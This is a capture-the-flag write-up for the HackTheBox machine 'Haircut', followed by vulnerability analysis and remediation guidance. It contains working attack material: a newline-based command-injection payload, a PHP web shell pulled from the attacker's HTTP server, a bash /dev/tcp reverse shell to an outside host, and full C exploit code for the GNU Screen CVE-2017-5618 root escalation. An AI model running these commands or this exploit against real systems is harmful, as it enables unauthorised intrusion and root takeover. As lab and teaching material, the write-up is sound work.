Haircut - HTB Medium Machine
About
Haircut is a medium-difficulty Linux machine, featuring several useful attack vectors. The challenge begins with web enumeration, where a PHP site invoking curl is discovered. Parameter injection is leveraged to write a webshell to the server, allowing for code execution. Further enumeration of the filters enables command execution directly within the page. For privilege escalation, a vulnerable version of screen with SUID permissions is identified and exploited to achieve root access.
Exploitation
Enumeration
The nmap scan revealed two open TCP ports: 22 for SSH and 80 for HTTP. The SSH service was identified as OpenSSH 7.2p2 on Ubuntu. The HTTP service was running nginx 1.10.0, also on Ubuntu. A subsequent UDP scan suggested several open or filtered ports, but the no-response reason for each made them likely false positives. I decided to focus on the more promising TCP services first and revisit the UDP ports only if necessary.
## TCP scan
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-26 20:30 -03
Nmap scan report for 10.10.10.24
Host is up (0.24s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA)
| 256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA)
|_ 256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519)
80/tcp open http nginx 1.10.0 (Ubuntu)
|_http-title: HTB Hairdresser
|_http-server-header: nginx/1.10.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.75 seconds
## UDP scan (--top-ports 1000)
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-26 20:30 -03
Warning: 10.10.10.24 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.10.24
Host is up, received user-set (0.23s latency).
Not shown: 995 closed udp ports (port-unreach)
PORT STATE SERVICE REASON VERSION
363/udp open|filtered rsvp_tunnel no-response
16548/udp open|filtered unknown no-response
19161/udp open|filtered unknown no-response
25931/udp open|filtered unknown no-response
31731/udp open|filtered unknown no-response
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1135.94 seconds
## Runtime
00:21:30
The homepage displays a single page with a woman's photograph, like showcase of haircut styles.
Inspecting the page source confirmed there wasn't much else going on. The content is minimal.
<!DOCTYPE html>
<title> HTB Hairdresser </title>
<center> <br><br><br><br>
<img src="bounce.jpg" height="750" width="1200" alt="" />
<center>
I ran feroxbuster to enumerate directories and files. I included the PHP extension flag since it's commonly used in HTB boxes, and discovered two interesting paths: /uploads and /exposed.php.
└─ $ feroxbuster -u http://10.10.10.24 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --depth 2 --dont-extract-links -C 404 -x php
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.13.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.10.24/
🚩 In-Scope Url │ 10.10.10.24
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
💢 Status Code Filters │ [404]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.13.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
💲 Extensions │ [php]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 2
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 7l 15w 144c http://10.10.10.24/
301 GET 7l 13w 194c http://10.10.10.24/uploads => http://10.10.10.24/uploads/
200 GET 19l 41w 446c http://10.10.10.24/exposed.php
Accessing /uploads returned a 403 Forbidden error, but /exposed.php revealed a form that appeared to allow reading files. Using the URL already present in the form, I was able to read the test.html file successfully.
I attempted directory traversal in Burp Suite using a payload like ../../../../etc/passwd, but received a 404 error and was redirected back to test.html. This behavior suggested there was likely a blacklist filtering malicious inputs.
Next, I tried command injection by appending ; id as a second command, but that also failed. However, the error message I received was interesting: "; is not a good thing to put in a URL".
Foothold
The specific error message about the semicolon indicated there was likely a PHP function filtering disallowed special characters. Since blacklists are rarely comprehensive, I figured there had to be a way to bypass it.
I consulted PayloadsAllTheThings for command injection bypass techniques and found one that looked promising, using a newline character %0A.
Testing the URL-encoded newline character with the id command in Burp Suite gave me successful command injection output.
I attempted to get a reverse shell directly, but bash and sh appeared to be blacklisted as well, based on the error message returned.
The page was likely using curl to fetch and render content. With this in mind, I changed my approach. Instead of trying to spawn a shell directly through /exposed.php, I decided to use curl to upload a PHP file to the target, then use that file as a command execution interface to obtain a reverse shell.
I started by creating a simple PHP payload
echo '<?php system($_REQUEST["cmd"]); ?>' > nika.php
Then I started a local HTTP server to serve the file
└─ $ sudo python3 -m http.server 8001
Next, I used curl via command injection to download the file onto the target box. My URL-encoded payload was
formurl=http%3A%2F%2Flocalhost%2Ftest.html%0Acurl%20http://10.10.16.3:8001/nika.php%20-o%20uploads/nika.php&submit=Go
I received a 200 response on my local server, confirming the file was successfully transferred.
└─ $ sudo python3 -m http.server 8001
Serving HTTP on 0.0.0.0 port 8001 (http://0.0.0.0:8001/) ...
10.10.10.24 - - [28/Oct/2025 18:35:26] "GET /nika.php HTTP/1.1" 200 -
I verified remote code execution was working by accessing /uploads/nika.php?cmd=id, which successfully executed the command.
I started a netcat listener on my machine
nc -lvnp 9001
Then triggered the reverse shell using a URL-encoded bash command
curl -G http://10.10.10.24/uploads/nika.php --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.16.3/9001 0>&1'"
After upgrading to a fully interactive TTY, I had access as the www-data user.
www-data@haircut:~/html/uploads$ whoami
www-data
USER
With access as www-data, I was able to read the first flag from the home directory of user maria:
www-data@haircut:~/html/uploads$ cat /home/maria/user.txt
958109ee140b3....
Privilege Escalation
I searched for files with the SUID or SGID bit set. These files execute with the permissions of their owner (often root) rather than the user running them, making them prime targets for privilege escalation.
An interesting binary appeared in the results: /usr/bin/screen-4.5.0
www-data@haircut:~/html/uploads$ find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -ld {} \; 2>/dev/null
...SNIP...
-rwsr-xr-x 1 root root 1588648 May 19 2017 /usr/bin/screen-4.5.0
...SNIP...
I verified the version running on the system:
www-data@haircut:~/html/uploads$ screen --version
Screen version 4.05.00 (GNU) 10-Dec-16
After researching this version, I found CVE-2017-5618, a local privilege escalation vulnerability in GNU Screen 4.5.0. The exploit-db entry provided a proof of concept demonstrating how to exploit this vulnerability.
The vulnerability exists in how screen handles log files and session management. It allows a local user to create or modify files in privileged locations, which can be leveraged to gain root access. This is tracked as CVE-2017-5618. The exploit abuses the dynamic linker's preload mechanism by creating a malicious /etc/ld.so.preload file through screen's logging functionality.
I attempted to compile the exploit directly on the target machine but encountered an error:
www-data@haircut:/tmp$ bash payload.sh
~ gnu/screenroot ~
[+] First, we create our shell and library...
gcc: error trying to exec 'cc1': execvp: No such file or directory
gcc: error trying to exec 'cc1': execvp: No such file or directory
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
No Sockets found in /tmp/screens/S-www-data.
/tmp/rootshell: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by /tmp/rootshell)
The error gcc: error trying to exec 'cc1': execvp: No such file or directory indicates the target machine has an incomplete GCC installation. The gcc command is just a driver that calls other programs to perform the actual compilation. The cc1 compiler is missing from the system's PATH.
To work around this, I decided to compile the exploit on my attack machine, transfer the compiled files to the target, and execute them manually.
First, I verified that both systems use the same architecture:
Target machine
www-data@haircut:/tmp$ uname -m
x86_64
My machine
└─ $ uname -m
x86_64
Next, I created the first component of the exploit. I had to add #include <sys/stat.h> to the code since this header declares the chmod and chown functions.
libhax.c:
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
}
I compiled it as a shared library
└─ $ gcc -fPIC -shared -o libhax.so libhax.c
Then I created the second component, the actual root shell binary
rootshell.c
#include <stdio.h>
#include <unistd.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", (char* const*)NULL);
return 0;
}
his required compilation with the -static flag. This is a cross-compilation consideration. My machine runs a modern version of GLIBC, while the target system runs an older version. When compiled dynamically, the binary depended on library functions that don't exist on the target and returned a error. Compiling statically bundles all required library code into the executable itself, making it independent of the target system's libraries.
└─ $ gcc -static -o rootshell rootshell.c
I transferred both compiled files to the target machine using my python server from before
curl http://10.10.16.3:8001/libhax.so -o /tmp/libhax.so
curl http://10.10.16.3:8001/rootshell -o /tmp/rootshell
I set the appropriate permissions on the rootshell binary
chmod +x /tmp/rootshell
Now came the exploitation phase. The first step was to create /etc/ld.so.preload using the vulnerable screen binary. This file tells the dynamic linker which libraries to load before any others. By pointing it to the malicious library, I can execute arbitrary code with elevated privileges.
www-data@haircut:/tmp$ cd /etc
www-data@haircut:/etc$ umask 000
www-data@haircut:/etc$ /usr/bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
Breaking down this command:
umask 000: Sets the file creation mask to ensure the created file has broad permissions, necessary for the exploit to function properly.screen -D -m -L ld.so.preload ...: Instructsscreento create a log file namedld.so.preloadin the current directory (/etc). Theechocommand outputs a newline followed by/tmp/libhax.so, which gets written into the log file.
Next, I triggered the preload mechanism by running any SUID binary. The exploit uses screen -ls for this purpose, forcing the system to load the malicious library with root privileges:
www-data@haircut:/etc$ screen -ls
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
No Sockets found in /tmp/screens/S-www-data.
When this command executed, the code inside libhax.so ran automatically, changing the ownership and permissions of /tmp/rootshell to make it a SUID root binary.
I then executed the modified rootshell
www-data@haircut:/etc$ /tmp/rootshell
# whoami
root
ROOT
With root access established, I got the final flag
# cat /root/root.txt
65c5f6a0ae964...
Vulnerability Analysis
Command Injection via Insufficient Input Validation (CWE-78)
The /exposed.php endpoint implemented a URL-fetching feature that allowed users to supply arbitrary URLs for server-side processing. The application attempted to sanitize user input using a blacklist approach, blocking specific characters like semicolons. However, this implementation failed to account for alternative command injection vectors, particularly newline characters (\n or %0A when URL-encoded). By injecting a newline followed by arbitrary shell commands, I bypassed the filtering mechanism entirely and achieved remote code execution as the www-data user.
The root cause was relying on character blacklisting rather than proper input validation and safe command execution methods. Blacklists are inherently incomplete because attackers can always find alternative encoding or injection techniques. The application likely used a function such as shell_exec() or system() to execute curl commands with user-controlled input concatenated directly into the command string.
Unrestricted File Upload and Execution (CWE-434)
After achieving command injection, I leveraged the system's curl utility to download a malicious PHP file from my attack server and save it to the /uploads directory. The application had no restrictions on what files could be written to this location, nor did it prevent execution of uploaded files. The web server was configured to execute PHP files within the uploads directory, allowing me to transform a simple file write into a persistent remote code execution vector.
This vulnerability chain demonstrates two distinct failures. First, the application allowed writing arbitrary files to a web-accessible directory without validating file types, content, or enforcing proper access controls. Second, the web server configuration permitted script execution in a directory intended for user-supplied content. These two misconfigurations combined to create a critical security weakness.
Local Privilege Escalation via Vulnerable SUID Binary (CVE-2017-5618, CWE-250)
The system had GNU Screen version 4.5.0 installed with the SUID bit set, allowing it to run with root privileges. This specific version contains a privilege escalation vulnerability tracked as CVE-2017-5618. The vulnerability exists in how Screen handles log file creation when invoked with the -L flag. By specifying a log file path pointing to /etc/ld.so.preload and controlling the log file content, I created a malicious preload configuration that the dynamic linker would process when any SUID binary executed.
The exploit worked by creating /etc/ld.so.preload containing the path to a malicious shared library. When the next SUID binary ran, the dynamic linker automatically loaded this library with elevated privileges, executing arbitrary code as root. The library modified the permissions of a waiting shell binary, granting it SUID root permissions and providing a persistent root shell.
This vulnerability represents multiple security failures. The primary issue was running an outdated, vulnerable version of Screen with SUID permissions. Additionally, the system lacked protective mechanisms such as AppArmor or SELinux policies that could have prevented unauthorized modification of critical system files like /etc/ld.so.preload.
Vulnerability Remediation
Preventing Command Injection
Never construct shell commands by concatenating user input directly into command strings. Instead of blacklisting dangerous characters, use parameterized execution methods that treat user input strictly as data, not code. In PHP, replace functions like shell_exec() with safer alternatives such as escapeshellarg() combined with explicit argument arrays, or better yet, use language-native libraries that don't involve shell execution at all.
For URL fetching functionality, implement a whitelist-based approach. Define an explicit list of allowed protocols (http, https) and validate the URL structure using dedicated parsing functions rather than string manipulation. Consider using PHP's filter_var() with FILTER_VALIDATE_URL combined with parsed URL component inspection to ensure the request targets only intended resources. If the feature must support arbitrary URLs, execute the fetching operation in an isolated environment with network segmentation and strict egress filtering.
Remove any functionality that allows users to control command execution paths. If external command execution is absolutely necessary, use subprocess libraries that separate the command from its arguments at the API level. In PHP, this means using proc_open() with explicit argument arrays rather than string-based command construction. Run these processes under heavily restricted user accounts with minimal file system and network access.
Securing File Upload Functionality
Separate user-uploaded content from application code directories entirely. Store uploaded files outside the web root in a dedicated location with restrictive permissions. When users need to access these files, serve them through a controller script that validates requests and streams content with appropriate headers, never allowing direct execution.
Configure the web server to treat the uploads directory as static content only. For nginx, this means removing PHP processing directives from the uploads location block and serving files with application/octet-stream or other non-executable MIME types. For Apache, disable script execution using .htaccess rules or virtual host configuration that explicitly denies handler association.
Implement comprehensive upload validation that goes beyond file extension checking. Verify file contents match declared types using magic byte analysis or dedicated libraries. Enforce strict filename sanitization, removing path traversal sequences and limiting allowed characters. Generate random filenames server-side rather than trusting client-provided names. Apply file size limits and rate limiting to prevent storage exhaustion attacks.
Consider storing uploaded files in object storage services with signed URL access patterns rather than on the web server filesystem. This architectural approach eliminates entire classes of execution vulnerabilities by ensuring uploaded content never resides in locations where the web server might attempt to execute it.
Addressing SUID Binary Vulnerabilities
Remove SUID permissions from any binary that doesn't strictly require them. GNU Screen should never run with SUID privileges in production environments. Use chmod u-s /usr/bin/screen-4.5.0 to strip these permissions. Review all SUID binaries on the system using find / -perm -4000 -type f 2>/dev/null and justify each one's necessity.
Maintain a rigorous patch management process focused on security updates. Subscribe to security mailing lists for installed software and monitor CVE databases for vulnerabilities affecting your specific versions. Establish a testing and deployment pipeline that allows rapid application of security patches, particularly for SUID binaries and other privilege-sensitive components.
Implement mandatory access control systems like AppArmor or SELinux with strict profiles for SUID binaries. These systems can prevent exploitation even when vulnerabilities exist by restricting what elevated processes can access. For example, a properly confined Screen process would be unable to write to /etc regardless of the vulnerability.
Protect critical system files like /etc/ld.so.preload using immutable flags where supported (chattr +i on Linux systems). While not a complete solution, this adds defense in depth by requiring attackers to remove the immutable flag before modification, creating additional detection opportunities. Monitor these files with integrity checking tools that alert on unauthorized modifications.
Consider replacing traditional SUID binaries with capability-based alternatives or privilege separation architectures. Modern systems can often accomplish the same goals using targeted capabilities (CAP_NET_BIND_SERVICE, CAP_DAC_OVERRIDE) or helper services that perform privileged operations on behalf of unprivileged processes, significantly reducing the attack surface.